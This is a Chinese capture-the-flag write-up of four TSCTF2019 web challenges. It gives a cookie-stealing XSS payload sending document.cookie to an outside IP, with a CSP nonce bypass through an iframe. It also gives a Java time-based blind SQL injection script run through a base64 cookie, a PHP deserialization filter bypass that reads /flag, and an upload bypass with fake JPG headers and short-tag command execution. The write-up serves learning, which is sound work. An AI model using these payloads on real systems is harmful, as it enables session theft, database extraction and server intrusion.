这次TSCTF2019 线上赛做了4道Web,学到了很多知识,整理一下。

Weird CSP

简单的分析:注册,登录,每一个用户有两个界面。一个个人界面,这个界面可以被任何人看见,编辑处存在xss,一个提交Bug的界面,管理员会定期浏览这个页面。

所以思路是比较明确的:在个人编辑页面构造xss,在bug提交处提交给管理员来打管理员cookie,现在的问题就是如何绕过CSP

CSP的创建:通过<script src="csp.php?nonce=$random_nonce"></script>获取创建指定$random_nonce的js脚本。

当时的思路:1. 通过提升我们的script的渲染顺序来达到我们的js优先渲染的目的从而绕过nonce

虽然chrome加载脚本的时候是并行的,但是在渲染的时候会阻塞,试了一波prefetch等都不行,所以这个思路作罢。

查阅资料发现:

1557678876910

这里就想到,新建一个iframe,指定nonce规则,然后指向另一个用户的页面,然后我们在另一个页面写好script脚本,这里由于这个我们指定的nonce规则会限制原来加载nonce规则的js的渲染,所以就可以绕过这个nonce。并且这里由于是同源的,没有跨域的问题,可以带出cookie。

iframe引用的页面:

<script>console.log('Welcome to TSCTF交友平台');</script>
<!--题目加载nonce规则-->
<script src="csp.php?nonce=7ccfe52ecc5629f84708d8db47390d72"></script>
<textarea rows="10" cols="50" name="profile">
</textarea>
<!-- 根据我们自定义的nonce规则-->
<script nonce="90cf95dcf73b46cfd5f09c0097a87609">window.location.href='http://39.105.29.134:8082/?cookie='+document.cookie</script>
</textarea>

攻击页面:

<script>console.log('Welcome to TSCTF交友平台');</script>
<script src="csp.php?nonce=c77db29e326d03e567b4946c81e8b8b1"></script>
Update Profile:
<form action="update.php" method="POST">
    <textarea rows="10" cols="50" name="profile"></textarea>
    <!--自己的nonce规则-->
    <iframe csp="script-src 'nonce-90cf95dcf73b46cfd5f09c0097a87609'" src="/profile.php?id=18b368926ffa893e7dff2b3d97f6e794"></iframe></textarea>
    <br/>
    <input type="submit" value="submit">
</form>

我们在本地服务器启动监听,将攻击页的网址发给管理员,坐等收cookie,其中便含有flag。

flag:TSCTF{Chr0m3_Xss_Aud1t0r_1s_Fun}(PS:这里泽神的预期解还没研究,看flag是跟Auditor有关)

Ozone

  1. 收集信息:扫一波敏感目录,发现有admin目录。根据hint和题目,查找2018QQ空间钓鱼,https://pan.baidu.com/s/1B-Ye6OhwZ6W0EcJq-_msXw找到源码,对比一下题目应该就是根据这个改的

  2. 得到源码后开始审计:

    这里发现有360的waf,主要针对不同点的sql注入进行了过滤。login处过滤比较严格,且有360的保护,虽然是拼接字符串,但是比较难以注入。接着发现有弱类型比较,但是这里传入的都是字符串,无法利用。

  3. 在memeber.php里发现

//member.php
if(isset($_COOKIE["islogin"])){
	if($_COOKIE["admin_user"]){
		$admin_user=base64_decode($_COOKIE['admin_user']);
		$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
		if($udata['username']==''){
		//失败逻辑
		}
		$admin_pass=sha1($udata['password'].LOGIN_KEY);
		if($admin_pass==$_COOKIE["admin_pass"]){
			$islogin=1;
		}else{
			//失败逻辑
		}
	}
}

这里主要是使用cookie来达到记住用户功能,但是这里的查询语句由于直接拼接了base64解码的cookie里的值造成sql注入,而且这里由于是base64编码的,已经绕过了所有的waf。由于页面没有回显或报错,考虑基于时间的盲注,编写java脚本

import okhttp3.OkHttpClient;
import okhttp3.Request;
import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
import java.util.concurrent.TimeUnit;

public class tsctf {
    public static void main(String[] args) throws InterruptedException {
        String cookie="islogin=1;PHPSESSID=s16gcbb745p526jcm0uttq4nq;admin_user=%s;admin_pass=12";
        String url="http://10.104.252.147/admin/index.php";
        String payload;
//"tsctf' or if((ascii(substr((SELECT username  FROM fish_admin LIMIT 1 ),%d,1))=%d),sleep(5),0)#"
        String rawPayload="tsctf' or if((ascii(substr((SELECT password  FROM fish_admin LIMIT 1 ),%d,1))=%d),sleep(5),0)#";
        Base64 base64Encoder=new Base64();
        OkHttpClient httpClient=new OkHttpClient.Builder()
                .readTimeout(3,TimeUnit.SECONDS).build();
        Request.Builder requestBuilder=new Request.Builder()
                .get()
                .url(url);
        for (int i=0;i<33;i++){
            for(int j=32;j<128;j++){
                //System.out.println((String.format(rawPayload,i,j)));
                payload=base64Encoder.encodeAsString((String.format(rawPayload,i,j).getBytes()));
                Request request=requestBuilder.header("Cookie",String.format(cookie,payload)).build();
                try {
                    httpClient.newCall(request).execute();
                } catch (IOException e) {
                    System.out.printf("%s",(char)j);
                    TimeUnit.SECONDS.sleep(2);
                    break;
                }
            }
        }
    }
}

跑完就可以得到数据库中存储的md5的password,得到之后尝试在各个平台解码,发现失败。于是考虑LOGIN_KEY(在common.php中)说不定没有变。使用sha1('跑出来的值'.LOGIN_KEY);填到cookie中,直接访问后台便可以获得flag。

Object?

php反序列化

关键过滤:

$format = '/O:\d:/';
$flag = $flag && substr($data, 0, 2) !== 'O:'; 
$flag = $flag && (!preg_match($format, $data));

第一个可以用Array过掉,第二个使用/O:+\d:/来代替/O:\d:/绕过。flag在根目录下

class BlogLog
{
    public $log_ = '/flag';
}
$blog=new BlogLog();
$arr=array($blog);
echo $payload=serialize($arr);
//添上+号,这里由于+是url保留,需要经过url编码
echo urlencode($apyload);
//a%3A1%3A%7Bi%3A0%3BO%3A%2B7%3A%22BlogLog%22%3A1%3A%7Bs%3A4%3A%22log_%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D

访问/game.php?data=a%3A1%3A%7Bi%3A0%3BO%3A%2B7%3A%22BlogLog%22%3A1%3A%7Bs%3A4%3A%22log_%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D得到flag

JustUpload

上传界面,一波fuzz后有几个限制:只能上传图片,有大小限制,长度不能大于15,上传成功后给出存储地址。并且提示Upload a php。

上传图片的限制:题目限制了文件名后缀不能是php,限制了content-type,以及通过文件头文件尾标志来识别图片,jpg的标志:0xffd8,结尾为0xffd9

绕过:我们直接伪造jpg头尾,content-type,文件名后缀设置为php3来绕过过滤,但是拼接的php的长度就非常的短,猜测服务端应该开启了php的短标签,参考

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

我们使用这样的语句来执行命令:<?= `ls`;但是由于非常严格的字数限制,一直没找到好的方法,在尝试的过程中ls /了一波竟然输出了flag,本来想尝试一波hitcon2017 babyfirst-revenge v2的做法,不过看这题的flag,设计的原意就是不用拿到shell的吧hhh。